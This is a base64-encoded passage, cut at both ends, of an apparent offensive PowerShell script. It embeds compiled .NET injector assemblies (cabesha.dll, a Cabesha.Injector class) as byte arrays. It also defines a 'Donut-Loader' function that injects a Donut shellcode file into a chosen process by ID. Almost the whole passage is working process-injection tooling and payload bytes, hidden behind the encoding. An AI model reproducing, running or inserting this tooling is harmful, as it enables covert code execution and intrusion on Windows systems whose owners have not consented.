wgMSwgMTQsIDI5LCAxNCwgNCwgMzIsIDEsIDEsIDE0LCA0LCAzMiwgMSwgMSwgMiwgNSwgMzIsIDEsIDEsIDE3LCA1NywgNCwgMzIsIDEsIDEsIDgsIDMsIDMyLCAwLCAxLCA1LCAwLCAxLCAxLCAxOCwgNzcsIDMsIDMyLCAwLCAxNCwgNSwgMCwgMSwgMjksIDUsIDE0LCA2LCAwLCAxLCAxOCwgODUsIDI5LCA1LCA0LCAzMiwgMCwgMTgsIDg5LCAxNiwgMTYsIDEsIDIsIDIxLCAxOCwgOTcsIDEsIDMwLCAwLCAyMSwgMTgsIDk3LCAxLCAzMCwgMCwgOCwgMywgMTAsIDEsIDE0LCAxMiwgMTYsIDEsIDEsIDI5LCAzMCwgMCwgMjEsIDE4LCA5NywgMSwgMzAsIDAsIDYsIDMyLCAyLCAyOCwgMjgsIDI5LCAyOCwgMTUsIDcsIDgsIDE4LCA2OSwgMTQsIDI5LCA1LCAxOCwgODUsIDE4LCA4OSwgMTQsIDE0LCAyOSwgMjgsIDU1LCAxLCAwLCAyNiwgNDYsIDc4LCA2OSwgODQsIDcwLCAxMTQsIDk3LCAxMDksIDEwMSwgMTE5LCAxMTEsIDExNCwgMTA3LCA0NCwgODYsIDEwMSwgMTE0LCAxMTUsIDEwNSwgMTExLCAxMTAsIDYxLCAxMTgsIDUyLCA0NiwgNTMsIDEsIDAsIDg0LCAxNCwgMjAsIDcwLCAxMTQsIDk3LCAxMDksIDEwMSwgMTE5LCAxMTEsIDExNCwgMTA3LCA2OCwgMTA1LCAxMTUsIDExMiwgMTA4LCA5NywgMTIxLCA3OCwgOTcsIDEwOSwgMTAxLCAwLCAxMiwgMSwgMCwgNywgOTksIDk3LCA5OCwgMTAxLCAxMTUsIDEwNCwgOTcsIDAsIDAsIDUsIDEsIDAsIDAsIDAsIDAsIDE5LCAxLCAwLCAxNCwgNjcsIDExMSwgMTEyLCAxMjEsIDExNCwgMTA1LCAxMDMsIDEwNCwgMTE2LCAzMiwgNTAsIDQ4LCA0OSwgNTcsIDAsIDAsIDgsIDEsIDAsIDcsIDEsIDAsIDAsIDAsIDAsIDgsIDEsIDAsIDgsIDAsIDAsIDAsIDAsIDAsIDMwLCAxLCAwLCAxLCAwLCA4NCwgMiwgMjIsIDg3LCAxMTQsIDk3LCAxMTIsIDc4LCAxMTEsIDExMCwgNjksIDEyMCwgOTksIDEwMSwgMTEyLCAxMTYsIDEwNSwgMTExLCAxMTAsIDg0LCAxMDQsIDExNCwgMTExLCAxMTksIDExNSwgMSwgMCwgMCwgMCwgMCwgMCwgMCwgMjQ1LCAxODIsIDIzMSwgOTIsIDAsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDI4LCAxLCAwLCAwLCAyNDAsIDM5LCAwLCAwLCAyNDAsIDksIDAsIDAsIDgyLCA4MywgNjgsIDgzLCAxODEsIDE1LCAxNTksIDgsIDIxMSwgMjM1LCAxOTcsIDcyLCAxMzIsIDUzLCA4NywgMTE3LCAxOTUsIDU0LCAxNTMsIDE5NiwgMywgMCwgMCwgMCwgOTksIDU4LCA5MiwgODUsIDExNSwgMTAxLCAxMTQsIDExNSwgOTIsIDExMywgNTIsIDU2LCA1NywgNTAsIDUzLCA0OCwgNDksIDU2LCA5MiwgNjgsIDExMSwgOTksIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCAxMTUsIDkyLCA4MywgMTA0LCA5NywgMTE0LCAxMTIsIDY4LCAxMDEsIDExOCwgMTAxLCAxMDgsIDExMSwgMTEyLCAzMiwgODAsIDExNCwgMTExLCAxMDYsIDEwMSwgOTksIDExNiwgMTE1LCA5MiwgOTksIDk3LCA5OCwgMTAxLCAxMTUsIDEwNCwgOTcsIDkyLCA5OSwgOTcsIDk4LCAxMDEsIDExNSwgMTA0LCA5NywgOTIsIDExMSwgOTgsIDEwNiwgOTIsIDY4LCAxMDEsIDk4LCAxMTcsIDEwMywgOTIsIDk5LCA5NywgOTgsIDEwMSwgMTE1LCAxMDQsIDk3LCA0NiwgMTEyLCAxMDAsIDk4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA1MiwgNDEsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDc4LCA0MSwgMCwgMCwgMCwgMzIsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY0LCA0MSwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgOTUsIDY3LCAxMTEsIDExNCwgNjgsIDEwOCwgMTA4LCA3NywgOTcsIDEwNSwgMTEwLCAwLCAxMDksIDExNSwgOTksIDExMSwgMTE0LCAxMDEsIDEwMSwgNDYsIDEwMCwgMTA4LCAxMDgsIDAsIDAsIDAsIDAsIDAsIDI1NSwgMzcsIDAsIDMyLCAwLCAxNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgMTYsIDAsIDAsIDAsIDI0LCAwLCAwLCAxMjgsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDEsIDAsIDEsIDAsIDAsIDAsIDQ4LCAwLCAwLCAxMjgsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDcyLCAwLCAwLCAwLCA4OCwgNjQsIDAsIDAsIDIwNCwgMiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMjA0LCAyLCA1MiwgMCwgMCwgMCwgODYsIDAsIDgzLCAwLCA5NSwgMCwgODYsIDAsIDY5LCAwLCA4MiwgMCwgODMsIDAsIDczLCAwLCA3OSwgMCwgNzgsIDAsIDk1LCAwLCA3MywgMCwgNzgsIDAsIDcwLCAwLCA3OSwgMCwgMCwgMCwgMCwgMCwgMTg5LCA0LCAyMzksIDI1NCwgMCwgMCwgMSwgMCwgMCwgMCwgMSwgMCwgMTMwLCA3MiwgMTcxLCAyNywgMCwgMCwgMSwgMCwgMTMwLCA3MiwgMTcxLCAyNywgNjMsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDQsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY4LCAwLCAwLCAwLCAxLCAwLCA4NiwgMCwgOTcsIDAsIDExNCwgMCwgNzAsIDAsIDEwNSwgMCwgMTA4LCAwLCAxMDEsIDAsIDczLCAwLCAxMTAsIDAsIDEwMiwgMCwgMTExLCAwLCAwLCAwLCAwLCAwLCAzNiwgMCwgNCwgMCwgMCwgMCwgODQsIDAsIDExNCwgMCwgOTcsIDAsIDExMCwgMCwgMTE1LCAwLCAxMDgsIDAsIDk3LCAwLCAxMTYsIDAsIDEwNSwgMCwgMTExLCAwLCAxMTAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDE3NiwgNCwgNDQsIDIsIDAsIDAsIDEsIDAsIDgzLCAwLCAxMTYsIDAsIDExNCwgMCwgMTA1LCAwLCAxMTAsIDAsIDEwMywgMCwgNzAsIDAsIDEwNSwgMCwgMTA4LCAwLCAxMDEsIDAsIDczLCAwLCAxMTAsIDAsIDEwMiwgMCwgMTExLCAwLCAwLCAwLCA4LCAyLCAwLCAwLCAxLCAwLCA0OCwgMCwgNDgsIDAsIDQ4LCAwLCA0OCwgMCwgNDgsIDAsIDUyLCAwLCA5OCwgMCwgNDgsIDAsIDAsIDAsIDU2LCAwLCA4LCAwLCAxLCAwLCA3MCwgMCwgMTA1LCAwLCAxMDgsIDAsIDEwMSwgMCwgNjgsIDAsIDEwMSwgMCwgMTE1LCAwLCA5OSwgMCwgMTE0LCAwLCAxMDUsIDAsIDExMiwgMCwgMTE2LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCAwLCAwLCA5OSwgMCwgOTcsIDAsIDk4LCAwLCAxMDEsIDAsIDExNSwgMCwgMTA0LCAwLCA5NywgMCwgMCwgMCwgNjQsIDAsIDE1LCAwLCAxLCAwLCA3MCwgMCwgMTA1LCAwLCAxMDgsIDAsIDEwMSwgMCwgODYsIDAsIDEwMSwgMCwgMTE0LCAwLCAxMTUsIDAsIDEwNSwgMCwgMTExLCAwLCAxMTAsIDAsIDAsIDAsIDAsIDAsIDQ5LCAwLCA0NiwgMCwgNDgsIDAsIDQ2LCAwLCA1NSwgMCwgNDgsIDAsIDU2LCAwLCA1MSwgMCwgNDYsIDAsIDQ5LCAwLCA1NiwgMCwgNTMsIDAsIDU0LCAwLCA1MCwgMCwgMCwgMCwgMCwgMCwgNTYsIDAsIDEyLCAwLCAxLCAwLCA3MywgMCwgMTEwLCAwLCAxMTYsIDAsIDEwMSwgMCwgMTE0LCAwLCAxMTAsIDAsIDk3LCAwLCAxMDgsIDAsIDc4LCAwLCA5NywgMCwgMTA5LCAwLCAxMDEsIDAsIDAsIDAsIDk5LCAwLCA5NywgMCwgOTgsIDAsIDEwMSwgMCwgMTE1LCAwLCAxMDQsIDAsIDk3LCAwLCA0NiwgMCwgMTAwLCAwLCAxMDgsIDAsIDEwOCwgMCwgMCwgMCwgNjgsIDAsIDE1LCAwLCAxLCAwLCA3NiwgMCwgMTAxLCAwLCAxMDMsIDAsIDk3LCAwLCAxMDgsIDAsIDY3LCAwLCAxMTEsIDAsIDExMiwgMCwgMTIxLCAwLCAxMTQsIDAsIDEwNSwgMCwgMTAzLCAwLCAxMDQsIDAsIDExNiwgMCwgMCwgMCwgNjcsIDAsIDExMSwgMCwgMTEyLCAwLCAxMjEsIDAsIDExNCwgMCwgMTA1LCAwLCAxMDMsIDAsIDEwNCwgMCwgMTE2LCAwLCAzMiwgMCwgNTAsIDAsIDQ4LCAwLCA0OSwgMCwgNTcsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAxMiwgMCwgMSwgMCwgNzksIDAsIDExNCwgMCwgMTA1LCAwLCAxMDMsIDAsIDEwNSwgMCwgMTEwLCAwLCA5NywgMCwgMTA4LCAwLCA3MCwgMCwgMTA1LCAwLCAxMDgsIDAsIDEwMSwgMCwgMTEwLCAwLCA5NywgMCwgMTA5LCAwLCAxMDEsIDAsIDAsIDAsIDk5LCAwLCA5NywgMCwgOTgsIDAsIDEwMSwgMCwgMTE1LCAwLCAxMDQsIDAsIDk3LCAwLCA0NiwgMCwgMTAwLCAwLCAxMDgsIDAsIDEwOCwgMCwgMCwgMCwgNDgsIDAsIDgsIDAsIDEsIDAsIDgwLCAwLCAxMTQsIDAsIDExMSwgMCwgMTAwLCAwLCAxMTcsIDAsIDk5LCAwLCAxMTYsIDAsIDc4LCAwLCA5NywgMCwgMTA5LCAwLCAxMDEsIDAsIDAsIDAsIDAsIDAsIDk5LCAwLCA5NywgMCwgOTgsIDAsIDEwMSwgMCwgMTE1LCAwLCAxMDQsIDAsIDk3LCAwLCAwLCAwLCA2OCwgMCwgMTUsIDAsIDEsIDAsIDgwLCAwLCAxMTQsIDAsIDExMSwgMCwgMTAwLCAwLCAxMTcsIDAsIDk5LCAwLCAxMTYsIDAsIDg2LCAwLCAxMDEsIDAsIDExNCwgMCwgMTE1LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCA0OSwgMCwgNDYsIDAsIDQ4LCAwLCA0NiwgMCwgNTUsIDAsIDQ4LCAwLCA1NiwgMCwgNTEsIDAsIDQ2LCAwLCA0OSwgMCwgNTYsIDAsIDUzLCAwLCA1NCwgMCwgNTAsIDAsIDAsIDAsIDAsIDAsIDcyLCAwLCAxNSwgMCwgMSwgMCwgNjUsIDAsIDExNSwgMCwgMTE1LCAwLCAxMDEsIDAsIDEwOSwgMCwgOTgsIDAsIDEwOCwgMCwgMTIxLCAwLCAzMiwgMCwgODYsIDAsIDEwMSwgMCwgMTE0LCAwLCAxMTUsIDAsIDEwNSwgMCwgMTExLCAwLCAxMTAsIDAsIDAsIDAsIDQ5LCAwLCA0NiwgMCwgNDgsIDAsIDQ2LCAwLCA1NSwgMCwgNDgsIDAsIDU2LCAwLCA1MSwgMCwgNDYsIDAsIDQ5LCAwLCA1NiwgMCwgNTMsIDAsIDU0LCAwLCA1MCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMzIsIDAsIDAsIDEyLCAwLCAwLCAwLCA5NiwgNTcsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDApKSB8IG91dC1udWxsIAokYmluYXJpbyAgPSAkYXJnLnNwbGl0KCIgLCIpWzBdCiRhcmcgPSAkYXJnLlJlcGxhY2UoIiRiaW5hcmlvICIsIiIpLnNwbGl0KCIsIikgfCBTZWxlY3QtT2JqZWN0IC1Ta2lwIDEKJGFyZ3VtZW50b3MgPSAkYmluYXJpbwpmb3JlYWNoICgkYXJndW1lbnRvIGluICRhcmcpIHsKW2FycmF5XSRhcmd1bWVudG9zICs9ICRhcmd1bWVudG8KCn0KW0NhYmVzaGEuSW5qZWN0b3JdOjpFeGVjdXRlKCRhcmd1bWVudG9zKX0KfQpmdW5jdGlvbiBEb251dC1Mb2FkZXIge3BhcmFtKCRwcm9jZXNzX2lkLCRkb251dGZpbGUpCiAgICAkaGVscD1AIgouU1lOT1BTSVMKICAgIERvbnV0IExvYWRlci4KICAgIFBvd2VyU2hlbGwgRnVuY3Rpb246IERvbnV0LUxvYWRlcgogICAgQXV0aG9yOiBMdWlzIFZhY2FzIChDeWJlclZhY2EpCiAgICBCYXNlZCBjb2RlOiBUaGVXb3ZlcgoKICAgIFJlcXVpcmVkIGRlcGVuZGVuY2llczogTm9uZQogICAgT3B0aW9uYWwgZGVwZW5kZW5jaWVzOiBOb25lCi5ERVNDUklQVElPTgogICAgCi5FWEFNUExFCiAgICBEb251dC1Mb2FkZXIgLXByb2Nlc3NfaWQgMjE5NSAtZG9udXRmaWxlIC9ob21lL2N5YmVydmFjYS9kb251dC5iaW4KICAgIERvbnV0LUxvYWRlciAtcHJvY2Vzc19pZCAoZ2V0LXByb2Nlc3Mgbm90ZXBhZCkuaWQgLWRvbnV0ZmlsZSAvaG9tZS9jeWJlcnZhY2EvZG9udXQuYmluCgogICAgRGVzY3JpcHRpb24KICAgIC0tLS0tLS0tLS0tCiAgICBGdW5jdGlvbiB0aGF0IGxvYWRzIGFuIGFyYml0cmFyeSBkb251dCA6RAoiQAppZiAoJHByb2Nlc3NfaWQgLWVxICRudWxsIC1vciAkZG9udXRmaWxlIC1lcSAkbnVsbCkge3dyaXRlLWhvc3QgIiRoZWxwYG4ifSBlbHNlIAp7CmlmICgoW0ludFB0cl06OlNpemUpIC1lcSA0KSB7d3JpdGUtaG9zdCAiU29ycnksIHRoaXMgZnVuY3Rpb24gb25seSB3b3JrIG9uIHg2NCA6KCI7IGJyZWFrfQpbYnl0ZVtdXSRieXRlcyA9IDc3LCA5MCwgMTQ0LCAwLCAzLCAwLCAwLCAwLCA0LCAwLCAwLCAwLCAyNTUsIDI1NSwgMCwgMCwgMTg0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMTI4LCAwLCAwLCAwLCAxNCwgMzEsIDE4NiwgMTQsIDAsIDE4MCwgOSwgMjA1LCAzMywgMTg0LCAxLCA3NiwgMjA1LCAzMywgODQsIDEwNCwgMTA1LCAxMTUsIDMyLCAxMTIsIDExNCwgMTExLCAxMDMsIDExNCwgOTcsIDEwOSwgMzIsIDk5LCA5NywgMTEwLCAxMTAsIDExMSwgMTE2LCAzMiwgOTgsIDEwMSwgMzIsIDExNCwgMTE3LCAxMTAsIDMyLCAxMDUsIDExMCwgMzIsIDY4LCA3OSwgODMsIDMyLCAxMDksIDExMSwgMTAwLCAxMDEsIDQ2LCAxMywgMTMsIDEwLCAzNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgODAsIDY5LCAwLCAwLCAxMDAsIDEzNCwgMiwgMCwgNDEsIDY0LCAxMzksIDkzLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyNDAsIDAsIDM0LCAzMiwgMTEsIDIsIDExLCAwLCAwLCAxNiwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMCwgMCwgMCwgMzIsIDAsIDAsIDAsIDE2LCAwLCAwLCA0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA5NiwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDAsIDAsIDAsIDMsIDAsIDk2LCAxMzMsIDAsIDAsIDY0LCAwLCAwLCAwLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNjQsIDAsIDAsIDg4LCAzLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyMCwgNDUsIDAsIDAsIDI4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAzMiwgMCwgMCwgNzIsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDQ2LCAxMTYsIDEwMSwgMTIwLCAxMTYsIDAsIDAsIDAsIDc2LCAxNCwgMCwgMCwgMCwgMzIsIDAsIDAsIDAsIDE2LCAwLCAwLCAwLCAxNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMzIsIDAsIDAsIDk2LCA0NiwgMTE0LCAxMTUsIDExNCwgOTksIDAsIDAsIDAsIDg4LCAzLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2NCwgMCwgMCwgNjQsIDQ2LCAxMTQsIDEwMSwgMTA4LCAxMTEsIDk5LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA5NiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNDgsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAwLCA2NiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMC